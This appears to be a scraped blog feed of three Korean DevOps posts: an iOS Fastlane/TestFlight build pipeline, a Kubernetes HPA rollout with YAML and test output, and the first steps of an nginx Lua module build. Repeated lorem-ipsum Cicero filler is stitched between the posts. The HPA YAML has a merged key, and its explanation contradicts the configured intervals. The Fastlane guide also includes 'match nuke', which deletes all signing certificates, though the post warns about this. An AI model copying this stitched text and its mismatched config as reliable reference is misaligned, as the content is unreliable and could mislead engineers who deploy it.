Section 1.10.32 of "de Finibus Bonorum et Malorum", written by Cicero in 45 BC
"Sed ut perspiciatis unde omnis iste natus error sit voluptatem accusantium doloremque laudantium, totam rem aperiam, eaque ipsa quae ab illo inventore veritatis et quasi architecto beatae vitae dicta sunt explicabo. Nemo enim ipsam voluptatem quia voluptas sit aspernatur aut odit aut fugit, sed quia consequuntur magni dolores eos qui ratione voluptatem sequi nesciunt. Neque porro quisquam est, qui dolorem ipsum quia dolor sit amet, consectetur, adipisci velit, sed quia non numquam eius modi tempora incidunt ut labore et dolore magnam aliquam quaerat voluptatem. Ut enim ad minima veniam, quis nostrum exercitationem ullam corporis suscipit laboriosam, nisi ut aliquid ex ea commodi consequatur? Quis autem vel eum iure reprehenderit qui in ea voluptate velit esse quam nihil molestiae consequatur, vel illum qui dolorem eum fugiat quo voluptas nulla pariatur?"

1914 translation by H. Rackham
"But I must explain to you how all this mistaken idea of denouncing pleasure and praising pain was born and I will give you a complete account of the system, and expound the actual teachings of the great explorer of the truth, the master-builder of human happiness. No one rejects, dislikes, or avoids pleasure itself, because it is pleasure, but because those who do not know how to pursue pleasure rationally encounter consequences that are extremely painful. Nor again is there anyone who loves or pursues or desires to obtain pain of itself, because it is pain, but because occasionally circumstances occur in which toil and pain can procure him some great pleasure. To take a trivial example, which of us ever undertakes laborious physical exercise, except to obtain some advantage from it? But who has any right to find fault with a man who chooses to enjoy a pleasure that has no annoying consequences, or one who avoids a pain that produces no resultant pleasure?"

Section 1.10.33 of "de Finibus Bonorum et Malorum", written by Cicero in 45 BC
"At vero eos et accusamus et iusto odio dignissimos ducimus qui blanditiis praesentium voluptatum deleniti atque corrupti quos dolores et quas molestias excepturi sint occaecati cupiditate non provident, similique sunt in culpa qui officia deserunt mollitia animi, id est laborum et dolorum fuga. Et harum quidem rerum facilis est et expedita distinctio. Nam libero tempore, cum soluta nobis est eligendi optio cumque nihil impedit quo minus id quod maxime placeat facere possimus, omnis voluptas assumenda est, omnis dolor repellendus. Temporibus autem quibusdam et aut officiis debitis aut rerum necessitatibus saepe eveniet ut et voluptates repudiandae sint et molestiae non recusandae. Itaque earum rerum hic tenetur a sapiente delectus, ut aut reiciendis voluptatibus maiores alias consequatur aut perferendis doloribus asperiores repellat."

1914 translation by H. Rackham
"On the other hand, we denounce with righteous indignation and dislike men who are so beguiled and demoralized by the charms of pleasure of the moment, so blinded by desire, that they cannot foresee the pain and trouble that are bound to ensue; and equal blame belongs to those who fail in their duty through weakness of will, which is the same as saying through shrinking from toil and pain. These cases are perfectly simple and easy to distinguish. In a free hour, when our power of choice is untrammelled and when nothing prevents our being able to do what we like best, every pleasure is to be welcomed and every pain avoided. But in certain circumstances and owing to the claims of duty or the obligations of business it will frequently occur that pleasures have to be repudiated and annoyances accepted. The wise man therefore always holds in these matters to this principle of selection: he rejects pleasures to secure other greater pleasures, or else he endures pains to avoid worse pains."

1. Appstore에 초대

• Appstore Connect의 앱 영역은 개발자가 직접 생성한다.
• 인증서, ID 및 프로파일의 식별자(영문)은 개발자가 직접 생성한다.

• 인증서(영문)
• 기기(영문)
• 프로파일(영문)

2. 인증서, 프로파일이란?

1) 애플에서의 인증서 개념

인증서 생성 과정

1. Certificate Signing Request (CSR) 생성:

• MAC의 keychain 앱 실행 → 키체인 접근 → 인증서 지원 → 인증 기관에서 인증서 요청

• 로컬 시스템에서 개인 키와 CSR 파일을 생성합니다.

• CSR 파일은 공개 키와 요청자의 정보를 포함하며, Apple Developer Portal에서 인증서를 생성하는 데 사용됩니다.

2. CSR 파일 제출:

• Apple Developer Portal에 CSR 파일을 제출하여 인증서를 생성합니다.

3. 인증서 다운로드:

• Apple Developer Portal에서 생성된 인증서 (.cer 파일)를 다운로드합니다.

4. 인증서 설치:

• 다운로드한 .cer 파일을 로컬 시스템에 설치합니다.
• 이 과정에서 공개 키와 개인 키가 로컬 키체인에 연결됩니다.

P12로 인증서 내보내기

1. 인증서를 다운로드하면 .cer 파일이 다운로드 됩니다. 이것만으로는 인증서로부터 인증을 할 수 없습니다. 더블클릭합니다.
2. 키체인에 접속을 합니다. 로그인 > 내 인증서 > 생성한 인증서 우클릭 내보내기 클릭
3. 개인 정보 교확(p.12)를 선택하고 저장하면 내보내기가 수행됩니다.

2) 애플에서의 프로파일 개념

1. App ID : 앱 스토어에 등록될 Bundle ID가 등록.
2. Certificate : 위에서 만들었던 인증서.
3. Device : 디바이스의 UDID

• 신규 Profile 생성

3. Fastlane을 통한 자동화

• Appfile: 앱의 기본 설정을 정의합니다. (앱 식별자, Apple ID, 팀 ID 등)
• Fastfile: 다양한 작업(workflow)을 정의합니다. (빌드, 테스트, 배포 등)
• Matchfile: match 기능과 관련된 설정을 정의합니다. (코드 서명 인증서 및 프로비저닝 프로파일 관리)

Fastlane 설치 및 사용법

설치

# brew 이용하여 설치
brew install fastlane

# version 확인
fastlane --version

2024/5/28 iMac(AD01965998) 설치 버전 : 2.220.0
(path: /usr/local/Cellar/fastlane/2.220.0/libexec/gems/fastlane-2.220.0/bin/fastlane)

Appfile

app_identifier("com.example.myapp")# 앱의 번들 식별자
apple_id("your_email@example.com")# Apple Developer 계정 이메일

team_id("YOUR_TEAM_ID")# Apple Developer 팀 ID

• app_identifier: 앱의 번들 식별자입니다. Xcode 프로젝트의 General 탭에서 찾을 수 있습니다.
• apple_id: Apple Developer 계정 이메일입니다.
• team_id: Apple Developer 팀 ID입니다. Apple Developer 계정에서 확인할 수 있습니다.

Fastfile

ruby코드 복사
default_platform(:ios)

platform :ios do
  desc "Build and release a new version to the App Store"
  lane :release do
    match(type: "appstore")# 코드 서명 인증서 및 프로비저닝 프로파일 관리
    build_app(scheme: "MyApp")# 앱 빌드
    upload_to_app_store# App Store Connect에 업로드
  end

  desc "Run unit tests"
  lane :test do
    scan(scheme: "MyApp")# 유닛 테스트 실행
  end
end

• default_platform: 기본 플랫폼을 설정합니다. 여기서는 :ios를 사용합니다.
• platform: 특정 플랫폼에 대한 작업을 정의합니다. :ios 또는 :android를 사용할 수 있습니다.
• lane: 작업(workflow)을 정의합니다. 예를 들어, release 레인은 앱을 빌드하고 App Store에 업로드하는 작업을 포함합니다.

Matchfile

git_url("")# 인증서를 저장할 Git 리포지토리

storage_mode("git")# 인증서 저장 방식 (기본값은 "git")
type("appstore")# 인증서 유형 ("development", "appstore", "adhoc", "enterprise")

app_identifier(["com.example.myapp"])# 앱의 번들 식별자
username("your_email@example.com")# Apple Developer 계정 이메일
team_id("YOUR_TEAM_ID")# Apple Developer 팀 ID

• git_url: 인증서와 프로비저닝 프로파일을 저장할 Git 리포지토리 URL입니다.
• storage_mode: 인증서 저장 방식을 설정합니다. 기본값은 “git”입니다.
• type: 인증서 유형을 설정합니다. 예를 들어, “development”, “appstore”, “adhoc”, “enterprise” 등이 있습니다.
• app_identifier: 앱의 번들 식별자입니다.
• username: Apple Developer 계정 이메일입니다.
• team_id: Apple Developer 팀 ID입니다.

인증서 생성

fastlane match nuke development
fastlane match nuke distribution

• match로 인증서를 생성하기 전에, fastlane match nuke 명령어로 기존 인증서들을 지울 수 있다. 필수사항은 아니지만 권장사항이다. 기존의 인증서들과 함께 새로운 인증서가 계속 쌓이게 되면 관리가 어렵기 때문이다.
• *기존의 모든 인증서가 날라가기 때문에 충분히 의사소통 후 명령어를 사용해야 한다.

fastlane match appstore
fastlane match development

• 이후 인증서를 새로 만든다.

[17:38:29]: Make sure to remember the password, as you'll need it when you run match on a different machine
[17:38:29]: Passphrase for Match storage: ********
[17:40:40]: Type passphrase again: ********

• 진행하다보면 passphrase 생성을 요구하는데, 다른 컴퓨터에서 match 를 실행할 때 필요하므로 잘 저장해둬야 한다. (Passphrase for Match storage -> match 비밀번호 설정) 위에서 설정한 .env 파일에 넣어두는 것도 방법이다.
• 인증서 생성이 완료되었다면, repository에 인증 파일이 생성되어 있는 걸 확인 할 수 있다.
• 다른 팀원들의 인증서와 프로비저닝 프로파일을 설정하기 위해서는 위의 private repository를 초대하고 fastlane match development --readonly 명령어를 통해 match 설정만 하면 된다.

4. 빌드를 해보자! ( Feat. Fastlane )

빌드 파이프라인 구성도

Fastlane Fastfile 샘플

default_platform(:ios)

# 공통 변수 설정
 api_key = app_store_connect_api_key(
   key_id: ENV['ASCAPI_KEY_ID'],
   issuer_id: ENV['ASCAPI_ISSUER_ID'],
   key_content: ENV['ASCAPI_KEY_CONTENT']
 )

archiveDir = '../build/ios/archive/Runner.xcarchive'
output_directory_beta = "../build/ios/output/beta"
output_directory_release = "../build/ios/output/release"
app_identifier_dev = "io.test.wallet.dev"
app_identifier_prod = "io.test.wallet"

platform :ios do
  desc "get latest testflight build number"
  lane :get_build_number do |options|
    app_identifier = options[:app_identifier]

    jenkins_build_number = ENV['JENKINS_BUILD_NUMBER'] || '0'
    main_version_number = ENV['MAIN_VERSION_NUMBER'] || '1.0.0'
    new_build_number = "#{jenkins_build_number}"
  end

  desc "create plist file for in-house deploy"
  lane :create_plist do |options|
    require 'plist'

    # 파라미터로부터 변수 값 설정
    plist_path = options[:plist_path]
    url = options[:url]
    bundle_identifier = options[:bundle_identifier]
    bundle_version = options[:bundle_version]
    app_title = options[:app_title]

    plist_content = {
      'items' => [
        {
          'assets' => [
            {
              'kind' => 'software-package',
              'url' => url
            }
          ],
          'metadata' => {
            'bundle-identifier' => bundle_identifier,
            'bundle-version' => bundle_version,
            'kind' => 'software',
            'title' => app_title
          }
        }
      ]
    }

    File.open(plist_path, 'w') do |file|
      file.write(plist_content.to_plist)
    end
  end

  desc "Upload to Testflight"
  lane :upload_into_testflight do |options|
    directory_path = options[:directory_path]
    app_identifier = options[:app_identifier]

    if ENV['UPLOAD_TO_TESTFLIGHT'] == 'true'
      pilot(
        skip_submission: true,
        ipa: "#{directory_path}/Runner.ipa",
        app_identifier: app_identifier,
        api_key: api_key
      )
    else
      puts "Skipping pilot step as UPLOAD_TO_TESTFLIGHT is not set to true."
    end
  end

  desc "Build BETA"
  lane :beta do
  get_build_number(app_identifier: app_identifier_dev)
  # 환경 변수에 따라 분기 처리
  if ENV['UPLOAD_TO_TESTFLIGHT'] == 'true'
      match(platform: "ios", type: "appstore", app_identifier: app_identifier_dev, readonly: true)
      clear_derived_data
      build_app(workspace: "Runner.xcworkspace", scheme: "dev", configuration: "Release-dev", archive_path: archiveDir, output_directory: output_directory_beta, export_method: 'app-store', export_options: {provisioningProfiles: {app_identifier_dev => "match AppStore #{app_identifier_dev}"}})
  else
      match(platform: "ios", type: "adhoc", app_identifier: app_identifier_dev, readonly: true)
      clear_derived_data
      build_app(workspace: "Runner.xcworkspace", scheme: "dev", configuration: "Release-dev", archive_path: archiveDir, output_directory: output_directory_beta, export_method: 'ad-hoc', export_options: {provisioningProfiles: {app_identifier_dev => "match AdHoc #{app_identifier_dev}"}})
  end
    create_plist(plist_path: "../" + output_directory_beta + "/Runner.plist", url: 'Change URL', bundle_identifier: app_identifier_dev, bundle_version: ENV['MAIN_VERSION_NUMBER'], app_title: 'Kaia Wallet')
    upload_into_testflight(directory_path: output_directory_beta, app_identifier: app_identifier_dev)
end

  desc "Build RELEASE"
  lane :release do
  get_build_number(app_identifier: app_identifier_prod)
  if ENV['UPLOAD_TO_TESTFLIGHT'] == 'true'
      match(platform: "ios", type: "appstore", app_identifier: app_identifier_prod, readonly: true)
      clear_derived_data
      build_app(workspace: "Runner.xcworkspace", scheme: "prod", configuration: "Release-prod", archive_path: archiveDir, output_directory: output_directory_release, export_method: 'app-store', export_options: {provisioningProfiles: {app_identifier_prod => "match AppStore #{app_identifier_prod}"}})
  else
      match(platform: "ios", type: "adhoc", app_identifier: app_identifier_prod, readonly: true)
      clear_derived_data
      build_app(workspace: "Runner.xcworkspace", scheme: "prod", configuration: "Release-prod", archive_path: archiveDir, output_directory: output_directory_release, export_method: 'ad-hoc', export_options: {provisioningProfiles: {app_identifier_prod => "match AdHoc #{app_identifier_prod}"}})
  end
    create_plist(plist_path: "../" + output_directory_release + "/Runner.plist", url: 'Change URL', bundle_identifier: app_identifier_prod, bundle_version: ENV['MAIN_VERSION_NUMBER'], app_title: 'Kaia Wallet')
    upload_into_testflight(directory_path: output_directory_release, app_identifier: app_identifier_prod)
  end
end

• get_build_number : mainversion + jenkins buildnumber ex) 2.3.0.93
• match : 인증서, 프로파일 확인 및 동기화
• clear_derived_data : 빌드시 생성한 임시 파일들 삭제
• build_app : 아카이빙(빌드) 수행
• create_plist : in-house 배포를 위한 plist 파일 생성
• upload_into_testflight : 사용자 선택에 따라 testflight 업로드 수행

5. 마치며…

6. 참조

• Certificate & Profile
  • [iOS] Certificate 와 Provisioning profile
  • 코드사이닝, 인증서, 프로비저닝 프로파일이란?
• Fastlane
  • Setting Up a CI/CD Pipeline for iOS Using Fastlane and GitHub Actions in a Flutter Project
  • [CI/CD] fastlane + Github Actions을 이용한 iOS 배포 자동화 구축

함께 보면 좋은 글

• [DevOps] k8s monitoring with Datadog
• [DevOps] ansible nginx config 배포 구성
• [DevOps] k8s에서의 모니터링 구성
• [DevOps] k8s Log 수집 시스템 구성

The post [DevOps] IOS 빌드 파이프라인 구성 appeared first on WONIZZ.LOG.

Section 1.10.32 of "de Finibus Bonorum et Malorum", written by Cicero in 45 BC
"Sed ut perspiciatis unde omnis iste natus error sit voluptatem accusantium doloremque laudantium, totam rem aperiam, eaque ipsa quae ab illo inventore veritatis et quasi architecto beatae vitae dicta sunt explicabo. Nemo enim ipsam voluptatem quia voluptas sit aspernatur aut odit aut fugit, sed quia consequuntur magni dolores eos qui ratione voluptatem sequi nesciunt. Neque porro quisquam est, qui dolorem ipsum quia dolor sit amet, consectetur, adipisci velit, sed quia non numquam eius modi tempora incidunt ut labore et dolore magnam aliquam quaerat voluptatem. Ut enim ad minima veniam, quis nostrum exercitationem ullam corporis suscipit laboriosam, nisi ut aliquid ex ea commodi consequatur? Quis autem vel eum iure reprehenderit qui in ea voluptate velit esse quam nihil molestiae consequatur, vel illum qui dolorem eum fugiat quo voluptas nulla pariatur?"

1914 translation by H. Rackham
"But I must explain to you how all this mistaken idea of denouncing pleasure and praising pain was born and I will give you a complete account of the system, and expound the actual teachings of the great explorer of the truth, the master-builder of human happiness. No one rejects, dislikes, or avoids pleasure itself, because it is pleasure, but because those who do not know how to pursue pleasure rationally encounter consequences that are extremely painful. Nor again is there anyone who loves or pursues or desires to obtain pain of itself, because it is pain, but because occasionally circumstances occur in which toil and pain can procure him some great pleasure. To take a trivial example, which of us ever undertakes laborious physical exercise, except to obtain some advantage from it? But who has any right to find fault with a man who chooses to enjoy a pleasure that has no annoying consequences, or one who avoids a pain that produces no resultant pleasure?"

Section 1.10.33 of "de Finibus Bonorum et Malorum", written by Cicero in 45 BC
"At vero eos et accusamus et iusto odio dignissimos ducimus qui blanditiis praesentium voluptatum deleniti atque corrupti quos dolores et quas molestias excepturi sint occaecati cupiditate non provident, similique sunt in culpa qui officia deserunt mollitia animi, id est laborum et dolorum fuga. Et harum quidem rerum facilis est et expedita distinctio. Nam libero tempore, cum soluta nobis est eligendi optio cumque nihil impedit quo minus id quod maxime placeat facere possimus, omnis voluptas assumenda est, omnis dolor repellendus. Temporibus autem quibusdam et aut officiis debitis aut rerum necessitatibus saepe eveniet ut et voluptates repudiandae sint et molestiae non recusandae. Itaque earum rerum hic tenetur a sapiente delectus, ut aut reiciendis voluptatibus maiores alias consequatur aut perferendis doloribus asperiores repellat."

1914 translation by H. Rackham
"On the other hand, we denounce with righteous indignation and dislike men who are so beguiled and demoralized by the charms of pleasure of the moment, so blinded by desire, that they cannot foresee the pain and trouble that are bound to ensue; and equal blame belongs to those who fail in their duty through weakness of will, which is the same as saying through shrinking from toil and pain. These cases are perfectly simple and easy to distinguish. In a free hour, when our power of choice is untrammelled and when nothing prevents our being able to do what we like best, every pleasure is to be welcomed and every pain avoided. But in certain circumstances and owing to the claims of duty or the obligations of business it will frequently occur that pleasures have to be repudiated and annoyances accepted. The wise man therefore always holds in these matters to this principle of selection: he rejects pleasures to secure other greater pleasures, or else he endures pains to avoid worse pains."

안녕하세요? 정리하는 개발자 워니즈입니다. 이번 포스팅은 kubernetes hpa 에 대해서 적용했던 사례에 대해서 정리를 해보려고합니다.

이 전에 작성된 포스팅이긴 하지만, HPA의 이론에 대해서는 아래의 포스팅을 참고해주시면 됩니다.

• [DevOps] k8s Horizontal POD autoscaling

위의 내용중에서도 HPA(Horizontal Pod Autoscaler)를 실제 적용하는 계획과 실행에 대해서 정리를 해보려고합니다.

1. HPA 적용 목적 및 정책

필자가 운영하는 k8s에는 100여개 이상의 MSA 어플리케이션들이 서비스를 하고 있습니다. 모든 서비스들이 최적으로 운영된다면 좋겠지만 보통은 보수적으로 pod를 산정하고 리소스를 산정합니다. 자연스럽게 k8s의 리소스가 부족한 현상이 발생하기 시작했고 조치가 필요했습니다.

HPA의 적용 목적은 다음과 같은 내용을 기반으로 하고 있습니다.

• 성능 유지 : 트래픽이나 요청량이 증가할 떄 추가 POD를 자동으로 생성하여 처리 능력을 높입니다.
• 리소스 최적화 : 과도한 리소스 할당을 방지하고, 리소스 사용 효율성을 높입니다.
• 자동화 및 운영 효율성 증대 : 부하 발생시 수동으로 조절하던 부분을 메트릭 측정값을 기반으로 자동 조정합니다.

위의 목적에 기재 되어있듯이 리소스 최적화에도 기반을 두고 작업을 예정하게 되었습니다.

• HPA 적용 정책

  apiVersion: autoscaling/v2beta2
  
  kind: HorizontalPodAutoscalermetadata:
    name: hpa-test
    namespace: dosi-store
  spec:
    scaleTargetRef:
        apiVersion: apps/v1
        kind: Deployment
        name: {{ .Values.phase }}-test-api
    minReplicas: 6
    maxReplicas: 18 <- 기존대비 3배수로 설정
    behavior:
       scaleDown:
           stabilizationWindowSeconds: 300
           policies:
          - type: Pods
            value: 2
            periodSeconds: 10
       scaleUp:
          stabilizationWindowSeconds: 30
          policies:
          - type: Percent
            value: 50
            periodSeconds: 10
          - type: Pods
            value: 4
            periodSeconds: 10
         selectPolicy: Max
    metrics:
         - type: Resource
           resource:
              name: cpu
              target:
                 type: Utilization
                 averageUtilization: 70
  

  • minReplicas : 현재의 pod 갯수
  • maxReplicas : 최대 증설의 pod 갯수 ( 6 * 3 = 18개로 기준을 잡음 )
  • scaleDown
    • 10초당 2개의 pod를 감소
    • 정책 적용 결정이 수행되면 5분간의 유예기간으로 메트릭을 지속 탐지함.
    • 스케일 다운이 바로 일어나면 서비스에 문제가 발생할 수 있을것이라 판단하여 5분간 유예설정.
  • scaleUp
    • 10초당 현재 갯수의 50% (ex, 현재가 6개면, 3개로 계산 ) / 15초당 4개의 pod를 증가 중 더 큰 범주 선택
    • 정책 적용 결정이 수행되면 30초간의 유예기간으로 메트릭을 지속 탐지함.
    • 스케일 다운이 바로 일어나면 서비스에 문제가 발생할 수 있을것이라 판단하여 30초간 유예설정.
  • 평균 CPU 사용률 70%를 임계점으로 설정.

2. HPA 적용 계획

HPA를 적용함에 있어서 기존의 수집된 Metric을 한달 기준으로 분석을 실시했습니다. 적용 대상이 되는 어플리케이션 선정은 다음을 기준으로 선정했습니다.

• HPA 적용 기준
  • 트래픽이 제일 많은 어플리케이션
  • 트래픽 대비 과도하게 스케일 아웃되어있는 어플리케이션
  • 현재 CPU Usage가 스케일 대비 과도하게 낮은 어플리케이션

트래픽이 많으면서(변동량이 크면서), 서버 수량은 많고 리소스는 최소로 사용하는(오버 스펙)이 되어있는 어플리케이션들의 정보를 수집했습니다.

위의 표와 같이 기록을 수행하여 기존의 CPU 트렌드 기반으로 목표 지점은 CPU Usage를 20 ~ 30% 를 사용하는것을 목표료 하여 Target Replicas를 지정하고 축소 계획을 세웠습니다.

계획은 다음 순서로 진행을 하고자 했습니다.

• 1) HPA 설정 배포 ( 설정은 현재의 서비스에 영향을 미치지 않음. )

• 2) pod수를 스케일 다운. ( 다운시 CPU Usage 기록 )
  • CPU Usage의 안정 범위 : 평시에 20-30% 정도 사용.
• 3) 적용이후에는 위의 정책을 기준으로 필요한 어플리케이션에 확장.

3. HPA 적용 테스트

사전에 HPA를 적용하기 이전에 테스트를 진행했습니다. API 1개에 부하를 쏟아서 CPU 임계점을 넘어가도록 설정했습니다.

NAME               REFERENCE                TARGETS   MINPODS   MAXPODS   REPLICAS   AGE
alpha-test-app   Deployment/alpha-test-app   3%/70%     2         6         2          11m
alpha-test-app   Deployment/alpha-test-app   3%/70%     2         6         2          11m   ← 부하 테스트 시작
alpha-test-app   Deployment/alpha-test-app   111%/70%   2         6         2          12m   ← 임계치 상향 
alpha-test-app   Deployment/alpha-test-app   111%/70%   2         6         4          12m   ← Upscale (30초 유예)
alpha-test-app   Deployment/alpha-test-app   45%/70%    2         6         4          13m   ← 임계치 하향 
alpha-test-app   Deployment/alpha-test-app   2%/70%     2         6         4          14m 
alpha-test-app   Deployment/alpha-test-app   2%/70%     2         6         4          15m
alpha-test-app   Deployment/alpha-test-app   2%/70%     2         6         4          16m
alpha-test-app   Deployment/alpha-test-app   3%/70%     2         6         4          17m
alpha-test-app   Deployment/alpha-test-app   3%/70%     2         6         4          18m   ← DownScale (300초 유예)
alpha-test-app   Deployment/alpha-test-app   4%/70%     2         6         2          18m
alpha-test-app   Deployment/alpha-test-app   4%/70%     2         6         2          19m
alpha-test-app   Deployment/alpha-test-app   3%/70%     2         6         2          20m

• Upscale 적용 후

  

• Downscale 적용 후

  

정확하게 HPA 동작에 의해 Upscale을 수행했다가 부하가 사라지면 정상화 됩니다.

• 이슈 사항

  테스트를 진행하면서 이슈를 한가지 확인했는데요. 배포를 하게 되면 새로운 어플리케이션으로부터 Metric이 즉각 수집이 되지 않으면서 Degraded상태가 되는것을 확인했습니다. 따라서 Metric이 수집되지 않은 상태라면 Progressing상태로 마킹하는 내용이 필요했습니다.

  

  • Resolve Ref : https://argo-cd.readthedocs.io/en/stable/operator-manual/health/#custom-health-checks

  data:
    resource.customizations: |
      cert-manager.io/Certificate:
        health.lua: |
          hs = {}
          if obj.status ~= nil then
            if obj.status.conditions ~= nil then
              for i, condition in ipairs(obj.status.conditions) do
                if condition.type == "Ready" and condition.status == "False" then
                  hs.status = "Degraded"
                  hs.message = condition.message
                  return hs
                end
                if condition.type == "Ready" and condition.status == "True" then
                  hs.status = "Healthy"
                  hs.message = condition.message
                  return hs
                end
              end
            end
          end
  
          hs.status = "Progressing"
          hs.message = "Waiting for certificate"
          return hs
  

4. HPA 적용 효과 및 사례

실제로 적용을 하고 나서는 다음의 수준으로 리소스 최적화를 할 수 있었습니다.

• Previous Resources
  

• Current Resources

  

CPU는 약 2%, Memory는 6.1% 가량을 최적화 했습니다. 물론 100개중에 약 5개 정도만 선제적으로 적용을 한것이라 큰 효과는 없다고 생각할 수 있습니다. 하지만 이를 통해서 HPA의 장점을 취득하고 리소스를 최적화를 할 수 있다는 것을 배울 수 있었습니다.

5. 마치며..

HPA를 통해서 좀더 유연한 인프라를 제공할 수 있다는 것을 알게 됐습니다. 실제로 운영하면서 여러 차례 트래픽 스파이크시에 동작하는 것을 보고서 그 효과를 체험할 수 있었습니다. k8s를 통해서 셀프 힐링, 배포 자동화 등등의 큰 장점도 있지만 트래픽에 유연하게 대응할 수 있는 인프라를 제공하는 측면도 굉장히 효과적이라고 생각합니다.

포스팅을 마치도록 하겠습니다. 감사합니다.

The post [DevOps] Kubernetes HPA 실전 적용 appeared first on WONIZZ.LOG.

Section 1.10.32 of "de Finibus Bonorum et Malorum", written by Cicero in 45 BC
"Sed ut perspiciatis unde omnis iste natus error sit voluptatem accusantium doloremque laudantium, totam rem aperiam, eaque ipsa quae ab illo inventore veritatis et quasi architecto beatae vitae dicta sunt explicabo. Nemo enim ipsam voluptatem quia voluptas sit aspernatur aut odit aut fugit, sed quia consequuntur magni dolores eos qui ratione voluptatem sequi nesciunt. Neque porro quisquam est, qui dolorem ipsum quia dolor sit amet, consectetur, adipisci velit, sed quia non numquam eius modi tempora incidunt ut labore et dolore magnam aliquam quaerat voluptatem. Ut enim ad minima veniam, quis nostrum exercitationem ullam corporis suscipit laboriosam, nisi ut aliquid ex ea commodi consequatur? Quis autem vel eum iure reprehenderit qui in ea voluptate velit esse quam nihil molestiae consequatur, vel illum qui dolorem eum fugiat quo voluptas nulla pariatur?"

1914 translation by H. Rackham
"But I must explain to you how all this mistaken idea of denouncing pleasure and praising pain was born and I will give you a complete account of the system, and expound the actual teachings of the great explorer of the truth, the master-builder of human happiness. No one rejects, dislikes, or avoids pleasure itself, because it is pleasure, but because those who do not know how to pursue pleasure rationally encounter consequences that are extremely painful. Nor again is there anyone who loves or pursues or desires to obtain pain of itself, because it is pain, but because occasionally circumstances occur in which toil and pain can procure him some great pleasure. To take a trivial example, which of us ever undertakes laborious physical exercise, except to obtain some advantage from it? But who has any right to find fault with a man who chooses to enjoy a pleasure that has no annoying consequences, or one who avoids a pain that produces no resultant pleasure?"

Section 1.10.33 of "de Finibus Bonorum et Malorum", written by Cicero in 45 BC
"At vero eos et accusamus et iusto odio dignissimos ducimus qui blanditiis praesentium voluptatum deleniti atque corrupti quos dolores et quas molestias excepturi sint occaecati cupiditate non provident, similique sunt in culpa qui officia deserunt mollitia animi, id est laborum et dolorum fuga. Et harum quidem rerum facilis est et expedita distinctio. Nam libero tempore, cum soluta nobis est eligendi optio cumque nihil impedit quo minus id quod maxime placeat facere possimus, omnis voluptas assumenda est, omnis dolor repellendus. Temporibus autem quibusdam et aut officiis debitis aut rerum necessitatibus saepe eveniet ut et voluptates repudiandae sint et molestiae non recusandae. Itaque earum rerum hic tenetur a sapiente delectus, ut aut reiciendis voluptatibus maiores alias consequatur aut perferendis doloribus asperiores repellat."

1914 translation by H. Rackham
"On the other hand, we denounce with righteous indignation and dislike men who are so beguiled and demoralized by the charms of pleasure of the moment, so blinded by desire, that they cannot foresee the pain and trouble that are bound to ensue; and equal blame belongs to those who fail in their duty through weakness of will, which is the same as saying through shrinking from toil and pain. These cases are perfectly simple and easy to distinguish. In a free hour, when our power of choice is untrammelled and when nothing prevents our being able to do what we like best, every pleasure is to be welcomed and every pain avoided. But in certain circumstances and owing to the claims of duty or the obligations of business it will frequently occur that pleasures have to be repudiated and annoyances accepted. The wise man therefore always holds in these matters to this principle of selection: he rejects pleasures to secure other greater pleasures, or else he endures pains to avoid worse pains."

안녕하세요? 정리하는 개발자 워니즈입니다. 이번시간에는 nginx lua module에 대해서 정리를 해보도록 하겠습니다. lua script는 이전에 nginx 관련 세미나를 들으면서 알게 됐던 내용인데요. nginx의 config에 마치 개발 코드를 작성하듯 script를 넣어서 제어할 수 있는 부분이 꽤나 인상적이였습니다.

필자의 회사에서도 nginx의 lua script를 통해서 제어가 필요한 요청을 받았습니다. 이를 해결하고자 lua module 탑재를 진행하게 됐습니다.

Nginx에 관한 시리즈 포스팅은 아래에서 확인이 가능합니다.

• [DevOps] Nginx 컴파일 설치
• [DevOps] ansible nginx config 배포 구성
• [DevOps] Nginx Logrotation 설정
• [DevOps] Nginx GeoIP 모듈 적용
• [DevOps] Nginx Log Aggregation & Dashboard
• [DevOps] Nginx Rate Limit
• [DevOps] Nginx Lua module 사용법

1. Nginx Lua module 이란?

lua-nginx-module은 Nginx에 Lua 스크립팅 기능을 추가하는 모듈입니다. 이를 통해 Nginx의 요청 처리 흐름에 Lua 코드를 삽입하여 다양한 작업을 수행할 수 있습니다. OpenResty 프로젝트의 일부로, 고성능 웹 애플리케이션을 구축하는 데 유용합니다.

주요 기능

• 동적 컨텐츠 생성: Lua 스크립트를 사용하여 요청에 대한 동적 응답을 생성할 수 있습니다.
• 고급 접근 제어 : 요청 헤더, 쿠키, IP 주소 등을 기반으로 접근 제어 로직을 구현할 수 있습니다.
• 응답 필터링 및 수정 : 응답 본문을 필터링 하거나 수정할 수 있습니다.
• 복잡한 인증 및 인가 : 외부 인증 서버와 통신하여 복잡한 인증 및 인가 로직을 구현할 수 있습니다.
• 로깅 및 모니터링 : 맞춤 로깅 메커니즘을 구현하고, 실시간 트래픽 모니터링 데이터를 수집할 수 있습니다.

공식 github은 아래에서 확인이 가능합니다.

openresty / lua-nginx-module

2. Nginx Lua module 설치

필자는 nginx를 직접 compile 해서 사용하고 있습니다. container 기반에 이미 만들어진 이미지를 활용하는것이 훨씬 효율적일 수 있습니다. 필자는 custom module을 추가함에 있어 자유도가 있기 때문에 native로 운영중에 있습니다.

그럼 본격적으로 각 스텝별로 설치 가이드를 작성해보겠습니다.

• LuaJIT 설치
  • lua-nginx-module을 사용하기 위해선, LuaJIT 또는 Lua 5.1 이상이 필요합니다. LuaJIT를 사용하는 것이 일반적으로 권장되며, 성능상의 이점이 있습니다.

# LuaJIT-2.0.5 설치
wget http://luajit.org/download/LuaJIT-2.0.5.tar.gz
wget https://line-objects-internal.com/fileshare/logs/LuaJIT-2.0.5.tar.gz

# 압축 해제 및 설치
tar -xvzf LuaJIT-2.0.5.tar.gz
cd LuaJIT-2.0.5
make
make install

# LuaJIT 설치 후, LuaJIT 라이브러리 경로를 시스템 라이브러리 경로에 추가
export LD_LIBRARY_PATH=/usr/local/lib:$LD_LIBRARY_PATH
luajit -v

• Nginx와 ngx_devel_kit (NDK)

# NDK 설치 
wget https://github.com/simplresty/ngx_devel_kit/archive/v0.3.1.tar.gz
tar -zxvf v0.3.1.tar.gz

• lua-resty-core와 lua-resty-lrucache를 설치

# lua-resty-core 설치
git clone https://github.com/openresty/lua-resty-core.git
cd lua-resty-core
make install

# lua-resty-lrucache 설치
git clone https://github.com/openresty/lua-resty-lrucache.git
cd lua-resty-lrucache
make install

• lua-nginx-module 설치

# lua module 다운로드
git clone https://github.com/openresty/lua-nginx-module.git

위의 작업들은 사전에 필요한 라이브러리 및 모듈을 다운로드, 설치 하는 과정에 대해서 설명했습니다.

